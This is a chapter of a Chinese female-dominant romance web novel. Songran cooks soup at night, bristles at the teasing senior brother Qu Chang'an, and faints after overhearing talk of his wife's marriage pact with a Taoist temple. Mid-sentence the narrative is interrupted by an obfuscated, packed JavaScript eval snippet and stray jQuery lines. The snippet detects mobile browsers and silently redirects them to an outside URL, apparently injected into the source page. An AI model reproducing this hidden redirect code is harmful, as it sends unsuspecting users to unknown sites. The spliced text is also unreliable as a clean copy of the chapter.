28. 第 28 章
作品:《本喵的替身夫郎(女尊)》 房无猜拉住人的手顿住,疑惑转头看向身后这只忽然走不动的人:“松然?”
松然目光从抽屉上挪开,犹疑了瞬,还是开口问道:“妻主……在侍身来的时候,您原本在做什么?”
房无猜笑容一僵:“……”被发现了?
房无猜尴尬的眼神瞟过开着缝隙的抽屉,脑子疯狂旋转,却在还没想出个所以然来的时候腿比脑子快的啪啪走过去,大腿就是这么一顶——
“啪嗒!”抽屉合上了,严丝合缝,非常完美。
房无猜:“哈、哈……没什么呀!我刚刚真的就在做你给我留的算术题!”
“我们快走吧!”房无猜又啪啪的小跑到松然身边,牵着对方的手就往外面走,“我想喝鱼汤了。”
松然默默看向被牵着的手掌:“……”脚步已经松动地跟了上去。
妻主的手指纤弱细腻,白皙如玉。
他的手指因为在教坊司干过粗活杂活,还受过罚,上面早已经粗糙,还布着细细交杂的疤痕,烫伤过的皮肤色块不均的像布匹配错了颜色拼在一起。
很难看……
松然垂下眼帘。
心里又闪过那个抽屉。
松然的手掌不自觉紧了紧,握牢手中的柔荑。
罢了……妻主不愿说,那他便不问。
松然看着身前笨拙转移话题的妻主,像一只小猫般灵巧的摇晃着脑袋。
他想,只要妻主还在他身边就好。
竹马院,晚间。
夏夜的小院幽静安详,蝉鸣悠悠回响,树叶沙沙的声音夹杂着风的味道混进了窗棂。
房无猜早就进入了梦乡,此刻砸吧砸吧嘴,咕哝道:“唔……赚钱……我养你啊……”
身边一声轻微的笑声被很好地藏起,温热的气息渐渐远离。松然暗笑,最近妻主总是很着急赚钱,原来是为了养他?或许他应该告诉自己的妻主,他其实很省钱的,很好养的。
松然缓缓停下来给妻主打扇的手,将右手臂轻巧地缓慢从房无猜睡得香甜的头下撤出。
他得去小厨房熬碗绿豆汤,再去地窖取冰镇一下,明早他的妻主就可以喝到融冰不久的、爽口的甜汤了。
炭火温和,陶罐咕咕作响,松然嘴角含笑的看着渐渐浓稠的汤汁,暗道自己在厨艺上也不算丝毫没有天赋。要多放点糖,妻主喜甜。
唔……但也得盯着妻主少食一些,太甜了也不利于牙口……
“哟!这大半夜的不睡觉在这里为了我小师妹熬什么呢?”忽的从身后响起一声轻笑。
松然一愣,转身就看见一白衣男子正动作潇洒地翻过花圃里半人高的牡丹,摇着一纸折扇来了。
正是瞿长安。
松然默默看他一眼。
瞿长安毫不客气地进厨房打了个圈,弯弯腰仔细看了看正在熬煮的绿豆汤,嘴里啧啧两声:“哎呀,怎么面色这般难看?难道我猜错了?刚刚你分明对着一个陶罐子笑的春心荡漾的,怎的一站起来这脸色就沉的比那阴沟里的水还黑了??”
瞿长安故意拖长了声音怪模怪样的看着松然继续说:
“莫非……你在这罐子里下了毒?结果被我正巧发现!于是脸色难……”
“闭嘴。”松然更加黑了脸。
“大师兄莫要说笑。松然就算毒死了自己也不会对妻主有半丝加害之心的。”松然认真道,他瞥了眼漫不经心的瞿长安,心道这人当真是随心所欲惯了,口没遮拦的厉害。
“不过大师兄为何半夜来访?不知道是有什么要紧的事情?”比起瞿长安满嘴跑火车的问题,松然倒是更在意为什么这人不在山上好好修行,又跑来京城做什么,还大半夜的就来了。
当真是仗着自己是妻主的大师兄就这般不检点,半夜三更的就闯进院子来了。
瞿长安长长叹了一口气,“唉!可不就是有要紧的事情吗!”
“我可是快马加鞭跑死了四匹马呢!”瞿长安忧愁道,“原本还以为可以在天黑前赶到的,谁知道赶到京城都这般时辰了!”
松然皱眉看去,跑死了四匹马。也不知道这般紧要的是何事?
瞿长安啪的一声关上折扇,叹道:“哎呀!这最最紧要的事情,就是我对小师妹实在是太过思念啊!跑死了四匹马,就为了早点过来见她!这不,连夜翻墙就为了一睹芳容!”
松然一脸黑线:“……”
来厨房一睹芳容?
瞿长安终于噗嗤一声笑出声来,“骗你的我今日下午便到了房府,只是先去见了房家主,谈了些许正事,错过了晚饭。这便饿的有些睡不着,四处来溜达一番,谁曾想问道一股子清新的豆香,便没忍住过来看看,实在是香啊。”
瞿长安说着还往绿豆汤方向探头探脑。
松然:“……”他默默挪了挪脚步,挡住对方看向陶罐的视线。
“大师兄谬赞了,只是寻常的绿豆汤而已。”松然道,“倒是现在时辰已晚,大师兄还是早些回客房休息吧。”
这“客房”二字被松然死死咬住。
瞿长安挑了挑眉,如他所愿的后退两步,颇有些可惜的看了看绿豆汤,又看了看松然,“好吧,我这便走了。也不知道明早来访竹马院,能否尝一尝这绿豆汤呢?”
松然并不作答。
瞿长安转身欲走,晃了晃手里的折扇,边走边朝身后朗声道:“松然!你说小师妹是更喜欢你这碗清热降暑的绿豆汤呢?还是喜欢喝多年相思求而不得的红豆汤呢?”
松然眉头一蹙,上前两步追去,他这话什么意思?
想要追问,那人却又身手敏捷地翻墙而去了。只剩下花圃中的牡丹轻轻摇曳,散发着馥郁的幽香。
半晌后,牡丹花红粉艳丽的花汁流了松然满手。
瞿长安这是在向他宣战?他是绿豆汤,那谁是相思多年的红豆汤?
在山上修行多年求而不得的瞿长安吗?
松然轻轻松开手掌,残破的花瓣细碎的坠落在地。
——
“松然,你怎么了?”房无猜喝了一大碗冰镇过的绿豆汤,满足的咂咂嘴,享受的眯着眼睛,正想和松然说笑的心思在看见松然忧虑的神情时变成了疑惑。
松然顾虑的看了眼一旁优哉游哉喝甜汤的瞿长安,这人昨夜扔下一句话,今日全然不提,只和他的妻主有说有笑的。
松然微笑摇头:“并未有什么,妻主不用担心。”
瞿长安在一旁夹了筷腌萝卜丝,悠悠道:“我看松然侍夫脸色不佳,神色疲倦,恐怕是昨夜半夜起床熬煮绿豆汤没有休息好累着了。”
“这样吗?”房无猜睁大双眼,仔仔细细上上下下打量松然一番,点头,“果真是脸色不好呢!”
房无猜暗自懊恼,自己养的人,结果自己都没发现他没有休息好。还要别人来提醒!
房无猜怏怏不乐的放下手里捧着的碗,皱着一张脸嘱咐:“松然,都怪我不好,都没有发现你这么辛苦!”
松然身子探道:“妻主!侍身谈不上辛……”
“你一会儿就去休息吧!一会儿让大师兄陪我就行了。”房无猜心疼说。
松然暗中一个眼刀就给瞿长安飞了过去。瞿长安继续喝粥吃菜,接受到眼刀后还赞赏的喝了口绿豆汤,很是喜欢的模样。
松然咬牙,但面上对着房无猜依然笑得温柔:“妻主不必担心,侍身好得很!”
松然握住房无猜的手拢在手心,目光盈盈道:“侍身就乐意给妻主做事情,难不成妻主是嫌弃侍身碍事了?侍身不想休息,就想跟在妻主的身边。”
房无猜怎么能拒绝,忙说:“没有没有!那、那你想跟的话就跟着吧!”
瞿长安也不阻挠,一副吃饱吃好了的模样,把碗筷一放,拿起一旁的折扇趴的展开,刷刷刷地扇着,“那正好,松然侍夫想去就去吧,也影响不了什么的。那咱们现在就去正堂那边儿给房家主请安吧!”
正堂请安?松然疑惑,往常妻主都是睡得到自然醒,自然是早就免了什么请安道贺之类的繁文缛节的,松然则是跟着房无猜的时间作息为主,侍奉好妻主就是他最大的使命。
而房启秀那边自然是天天请安不敢落下的,如今入了官场,更加是和正堂房家主的作息时间趋向一致,早早起床、一起用饭、晚归请安等等。
所以这两年来房无猜和松然才基本上没有同房启秀见过面,倒是家主还有海情、齐岚雾两位姑姑时常会来竹马院打转。
却见房无猜丝毫没有意外地点头:“好。”
瞿长安这时候开口解释:“松然侍夫方才去小厨房盛汤去了没有听见我的话,说是让小师妹请安也不过就是去正堂见见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732878|173039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家主而已。我此番下山也确实有正事要办的,还有师尊带了信下来,里面有涉及到师妹之事,需要去正堂商议。”
原来如此。松然点头,“多谢大师兄解惑。”
瞿长安一笑:“谁叫我是小师妹的大师兄呢!”
说着他顺手又给了房无猜一个脑瓜崩,转身就跑。
房无猜跳脚:“你!”立马追了上去。
留在原地的松然:“……”哼。如此争宠的手段,幼稚。
却见瞿长安和房无猜打闹之时,还分出点余光瞪他一眼,里面得意之色毫不掩饰。
松然:“……”不行,他想宰了他#口#
这时候在后面收拾碗筷卫生,迟了两步出来的海林提醒说:“松然,快走吧。”
——
正堂,众人齐聚。
今日休沐,房无猜他们一行人来的时候正好是房启秀妻夫和房家主一起用完饭叙话的时间。
但很明显,瞿长安所要说的事并不需要房启秀来听。
因为房家主在所有人寒暄一巡之后便一挥手,吩咐赶人:“既然无她事了,启秀你们便下去歇息吧。”
房启秀和苏二便起身告退,身后的齐小奇也沉默的上前跪拜。
就在房启秀三人踏出房门的同时,房家主瞥了眼同样是站在房无猜椅子后面,杵着没动的松然和海林:“你们也下去。”
海林立刻道:“是,家主。”
松然一怔,抬头看向房家主,被一旁的齐岚雾呵斥:“叫你下去便下去,身为贱奴还敢质疑家主吗?!”
房家主冷眼相看。
原本对于说话不让松然听并没什么感觉特别的房无猜这时候有些炸毛,当即站起来维护:“你凭什么凶我的人!”
齐岚雾一噎,看到松然她就暗恨,想起自己的儿子,但大小姐她怎敢顶撞。
一边的海情看情况忙道:“大小姐莫怪,家主要说的事情因为淼慧道姑的来信,事关天青道观机密之事,不让他们听是好事。松然侍夫侍奉大小姐也很辛苦,就让姑姑带他们去偏厅喝点好茶、吃点心怎么样?”
她称呼松然一句侍夫,哪怕是个奴籍未消的罪奴。但依旧是得了大小姐欢心的人,更何况,海情私心里对松然并无什么偏见。相反,自从她给松然送嫁衣那天起,她就很喜欢松然这个知书达理的孩子。
最重要的是他一心装着大小姐。
松然心中一软,刚刚他就是想着妻主的事情他身为侍夫也想听一听的,他也想帮妻主的忙。但既然事关天青道观的事务,他不听也正常。虽然被人骂贱奴,但妻主这般爱护他,他就不该给妻主添麻烦。
海情觑着房家主的脸色哄劝房无猜,一边悄悄使了个眼色,海林会意地扯了扯松然的袖子。
松然忙劝了句房无猜:“妻主快坐下,侍身无事,这就去偏厅等您,好不好?”
“好吧……”房无猜不情愿地坐下,眼巴巴看着自己养的人出门去。
松然被骂了,一会儿她要好好安慰一下他!
倒是一直沉默不语的房家主在看见房无猜这般听松然的话时,目光一沉,看向门口的松然背影的眼神冷了三分。
松然跟着踏出了房门,脚步却不自觉地放慢了。
里面传来声音——
瞿长安朗声有礼道:“家师的信相信房家主已经看了,长安就是传信的,如今还请您给个准话,这关于房家大小姐与天青观婚约一事……何时履行?”
他称呼的是房家大小姐,而不是小师妹。此时他是代表天青观正式和房家主谈话。
房家主也很明白,态度郑重,并未像是往常一样把瞿长安当做小辈玩笑待之。
房家主似是喝了口茶,盖子轻碰杯盏,她回道:“长安放心……”
接下来的声音越发小了,渐渐听不真切。
海林走到院中,发觉身后无人跟上,待转身,却见松然在台阶上面如金纸摇摇欲坠。
“松然?”海林唤了一声,却见松然如遭雷劈般轰地身子一歪,便软软倒下了。
“松然!”海林忙冲上去扶,又不敢大声,怕打搅了里屋谈正事,只匆匆和自己娘亲海情二人将人抬走了。
松然只觉天旋地转,当世界全然黑暗时,他的脑子里只有一句话:
妻主要和别人履行婚约……